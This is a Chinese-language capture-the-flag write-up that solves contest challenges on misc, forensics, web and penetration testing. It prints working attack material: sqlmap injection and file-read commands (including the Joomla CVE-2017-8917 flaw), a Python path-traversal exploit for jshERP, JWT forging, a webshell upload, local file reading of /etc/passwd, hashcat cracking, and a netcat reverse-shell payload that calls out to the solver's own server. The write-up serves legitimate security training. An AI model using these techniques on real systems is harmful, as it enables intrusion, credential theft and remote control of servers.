前言
反正太卡了这个比赛3个小时比赛卡了快2个小时,就做了1个小时,没招了,极限一个小时,就好像就做了8个题吧
后面是有复现的
比赛网址:破阵阁::CTF
Misc
最简单签到

员工ID输入47就行

看控制台

flag{ca5798a0-e82b-4527-b251-ed8a2da2d96e}
游戏营销

核心代码

漏洞点分析:
分数本地化:gameScore 作为一个全局变量存储在客户端,攻击者可以任意修改。
触发可控:gameover() 函数可以直接通过控制台调用,无需真正等到飞机坠毁。
验证缺失:后端 api.php 似乎只根据前端传过去的 score 值进行逻辑判断,没有校验分数的增长过程或游戏过程。
修改全局变量并自杀
控制台
gameScore = 999999;
gameover();


flag{7107a0c9-7343-4d69-96e0-5a1dba087820}
Forensics
诡异的命令执行

下载流量包搜索flag{就行

flag{3cbed997-2fd2-41a9-8a71-c1c7b0d8e7dd}
webshell被删除了

flag 可能被输出到了日志里,或者攻击者将其复制到了某个隐藏文件。我们可以直接在整个文件系统中搜索 flag{ 或者 flag 关键字。
grep -r "flag{" / 2>/dev/null

flag{fb9b43db-d015-4458-a449-db959e48ad99}
暗影迷踪

排查异常进程
首先检查服务器上运行的进程,寻找可疑活动。 命令:
ps -ef | grep tomcat
分析: 在输出中发现了异常现象:
- 正常的 Tomcat 进程运行在
/opt/jre.../bin/java。 - 发现了异常进程
/var/crash/tomcat(PID 106, 107)。/var/crash通常是存放崩溃日志的地方,不应该有可执行程序,且该程序伪装成 “tomcat” 的名字。
清除恶意文件
定位到恶意文件路径后,进行清理。 命令:
ls -al /var/crash/tomcat
rm -f /var/crash/tomcat
此时运行 flagcheck 仍提示有后门,说明还有其他痕迹。
排查 Web 目录
检查 Tomcat 的 webapps 目录,查找攻击者上传的 Webshell 或后门目录。 命令:
cd /opt/apache-tomcat-8.5.100/webapps
ls -alt
发现在 webapps 下存在一个名为 a 的非标准目录(标准目录只有 ROOT, docs, examples 等)。进入 a 目录发现 login.jsp,确认为后门目录。
清理命令:
rm -rf /opt/apache-tomcat-8.5.100/webapps/a/
排查持久化机制
恶意文件被删除后,如果没有清理定时任务,病毒可能会再生。这也是 flagcheck 报错的关键原因。 命令:
# 查看当前用户的定时任务
crontab -l
# 或者查看系统定时任务文件
ls -al /var/spool/cron/crontabs/
发现恶意定时任务: * * * * * /var/crash/tomcat 这就解释了为什么会有 /var/crash/tomcat 这个进程——攻击者设置了每分钟执行一次该木马。
清理命令:
# 删除 root 用户的定时任务文件
rm -f /var/spool/cron/crontabs/root
安全加固与清理风险
为了确保环境彻底安全,删除 Tomcat 自带的 examples 目录(这是一个常见的安全最佳实践,CTF 题目常以此作为检查点)。 命令:
rm -rf /opt/apache-tomcat-8.5.100/webapps/examples
获取flag
在彻底清除了:
恶意进程/文件 (/var/crash/tomcat)
Webshell 目录 (/webapps/a)
恶意定时任务 (crontab)
风险目录 (/webapps/examples)
/root/flagcheck

flag{94c4b80e-7603-4d0b-82bb-c45191e92e2b}
Web
最简单的Web安全入门

sql注入就行

题目页面是一个简单的图片博客。浏览网站时发现 URL 中存在动态参数 cat.php?id=1。 尝试在 id=1 后添加 ' 报错,或添加 and 1=1 / and 1=2 测试,发现存在明显的 SQL 注入漏洞。
sqlmap爆就行
sqlmap -u "http://175.27.169.122:23299/cat.php?id=1" --dbs --batch

直接 Dump 核心数据表
锁定 photoblog 数据库,并猜测或爆破表名。根据常规经验,用户信息通常在 users 表中。我们直接尝试 Dump users 表的数据:
sqlmap -u "http://175.27.169.122:23299/cat.php?id=1" -D photoblog -T users --dump --batch

flag{94695d69-4709-441d-af33-a172b674439c}
安全牛的ERP


指纹识别:查看网页源代码,发现 CSS 路径为 css/jsherp.css,确认目标系统为 华夏ERP (jshERP)。
漏洞原理:该系统存在未授权访问/目录遍历漏洞。安全过滤器通常会放行 /css/、/images/ 等静态资源目录。
是否需要登录:不需要。利用该漏洞的核心就是绕过权限验证。如果你之前的尝试跳转到了登录页,说明 URL 被浏览器或库自动“规范化”了(把 ../ 删掉了),导致服务器收到的是直接访问 /flag.html 的请求,从而触发拦截。
解题步骤:
构造 Payload:/css/../flag.html。
过滤器看到 /css/ 开头 -> 放行。
后端处理 ../ -> 实际读取 根目录下的 flag.html。
操作:使用 Burp Suite 抓包,将 GET /login.html ... 修改为 GET /css/../flag.html ... 即可拿到 Flag。
exp.py
import requests
import re
import sys
def exploit(ip, port):
base_url = f"http://{ip}:{port}"
target_path = "/css/../flag.html"
full_url = base_url + target_path
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
"Accept": "*/*"
}
try:
req = requests.Request('GET', full_url, headers=headers)
prepped = req.prepare()
prepped.url = full_url
s = requests.Session()
resp = s.send(prepped, timeout=10)
if resp.status_code == 200:
flag = re.search(r'flag{.*?}', resp.text)
if flag:
print(flag.group(0))
else:
print(resp.text)
else:
print(f"Status: {resp.status_code}")
except Exception as e:
print(e)
if __name__ == "__main__":
ip = "175.27.169.122"
port = "56891"
exploit(ip, port)

flag{7a207efe-5f45-4e5e-ac42-ee3e2cccf5d4}
贼牛掰的身份鉴权,还怕在失陷?


随便输入一个用户名和密码

有默认账户和密码

查看bp的包


这里发现是jwt,先尝试改role为admin试试

直接401了,使用无影的jwt爆破试试,token如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzY5ODcxNzI4MDI3LCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xNDMuMC4wLjAgU2FmYXJpLzUzNy4zNiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzY5ODcxNzI4fQ.uPLIJdykktdqUrjslp0YCs7F6LOeXREVGiaISki7S0A

破解成功

改成admin进行编码

成功获得flag:
flag{e2116b4f-f637-4f77-8900-749e4ea506bf}
Pentest
小小的挑战

题目背景与漏洞分析
- 目标环境: Joomla CMS (运行于 Nginx + PHP + MySQL)
- 漏洞点:
com_fields组件 SQL 注入 (CVE-2017-8917) - 核心利用点: 利用 MySQL 的
FILE权限读取服务器本地文件。
我们发现目标 URL 存在一个经典的 Joomla 注入漏洞,注入参数位于 list[fullordering]。通过测试发现,该注入点支持 Error-Based (报错注入) ,这意味着我们可以直接从报错回显中获取数据。
渗透过程
为了确认当前数据库用户是否有权限读取系统文件,以及确认网站的绝对路径,我们首先尝试读取 Joomla 的核心配置文件 configuration.php。通常该文件位于 /var/www/html/configuration.php
python sqlmap.py -u "http://175.27.169.122:63265//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1" -p "list[fullordering]" --technique=E --level 3 --risk 2 --batch --file-read "/var/www/html/configuration.php"


运行结果:
- SQLMap 成功下载了文件(大小 1975 B)。
这证明了两个关键点:
- 数据库用户(通常是
root)拥有FILE 权限,且secure_file_priv没有限制(或限制很宽)。 - 我们具备了任意文件读取的能力。
- 数据库用户(通常是
获得文件读取能力后,下一步是寻找 Flag 的位置。 通常 Web 服务的运行用户是 www-data,我们猜测 Flag 可能位于该用户的家目录下。
python sqlmap.py -u "http://175.27.169.122:19671/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1" -p "list[fullordering]" --technique=E --level 3 --risk 2 --batch --file-read "/home/www-data/flag"


成功获得flag:
flag{17780e69-17fa-47ef-af66-9fdcb3367f02}
激进的开发者

首先我们注册一个账号

登录

查询数据,将包发给sqlmap查看有没有sql注入

创建一个a.txt将包复制进去

使用以下命令爆破
python sqlmap.py -r C:UsersluoyeDesktopa.txt --dbs

继续报表
python sqlmap.py -r C:UsersluoyeDesktopa.txt -D webapphacking --tables

这里我们直接dump user表
python sqlmap.py -r C:UsersluoyeDesktopa.txt -D webapphacking -T users --dump

使用superadmin进行登录看看


这里多了一个上传文件的地方,我们直接一句话木马走起

这里竟然上传成功了,尝试访问

这里没报错,说明应该没问题,直接蚁剑走起

在home里面的www-data里面发现flag文件

读取flag为:
flag{018ae624-eabf-4f23-bf65-800ff6b2168c}
遗忘的调试信息

我们可以使用SerLists的字典进行扫描,链接:https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt
下载完使用dirsearch进行扫描



这里我们看到里面有个Info.php
访问http://175.27.169.122:34176/antibot_image/antibots/info.php看看

发现是一个phpinfo的文件

这里我们查看源代码可以拼接一个image参数,我们尝试文件读取

这里成功读取/etc/passwd
根据前面的题目的经验,我们直接读取flag文件
http://175.27.169.122:34176/antibot_image/antibots/info.php?image=/home/www-data/flag

成功获取flag为:
flag{2b8790b6-95ee-4299-95ad-85f9a7b14f1e}
有点限制,但是不多


我们依旧使用SecLists的字典进行扫描,我的地址是danielmiessler SecLists master DiscoveryWeb-ContentFile-Extensions-Universal-SVNDigger-ProjectcatLanguagephp.txt

这里我们看到registration.php我们访问看看


这里直接报错了

重新注册刚刚的发现邮箱被注册了

这里来到login.php输入刚刚注册的用户名和密码

翻译一下他这里说我们需要提交6位数验证码

这里我们点击这里

发现上面的参数多了有关u=14
我们访问activate.php

这里我们输入刚刚的14,code随便输

这里403了,估计是code错误了,这里有token,我们可以尝试去进行爆破

这里我们选择音符进行爆破,然后code设置000000到999999的爆破

这里我们选择设置里面的提取

选中value

将线程设置为1,进行爆破

第二个payload选择递归提取

这里我们看到code为000511的时候其状态码为302,我们回到网站添加试试

成功进入admin


查看用户列表

发现Lumina是管理员

本来想看看有没有什么隐藏内容的结果看到一串哈希加密的数据
我们使用hashcat爆破解密
hashcat -m 100 -a 3 b5add2a80d5acacd664a6657c5607986ae5b5b78 ?a?a?a?a?a?a -i

成功获取密码:HNzMrX,使用管理员账户登录
user:Lumina
pass:HNzMrX


这里发现一个命令执行,终于要结束了吗QAQ

bushi,我们F12看看

这里显示ip不允许
这里我们使用ip加一个X-Forwarded-For试试

请求成功

成功进入命令执行

直接cat /home/www-data/flag

这里找了一圈发现没有回显,结合官方wp知道这里需要反弹shell(这题这么难,真没招了)
使用paload:
nc ip:port -e /bin/sh
ip和端口换成自己的服务器ip执行反弹shell
这里还要包+号改成%09
nc%09ip地址%3A端口%09-e%09%2Fbin%2Fsh

这里我实在搞不懂他是这么读取到的,他这里自己也写了会断,但是我试懵逼了也没提取到这个flag,无敌了

多次进去,但都是秒断,根本无法读取flag,无解
总结与反思:
我还是要说,有点难度,但是3个小时比赛卡了快2个小时 容器进不去,无敌了,就做了1个小时




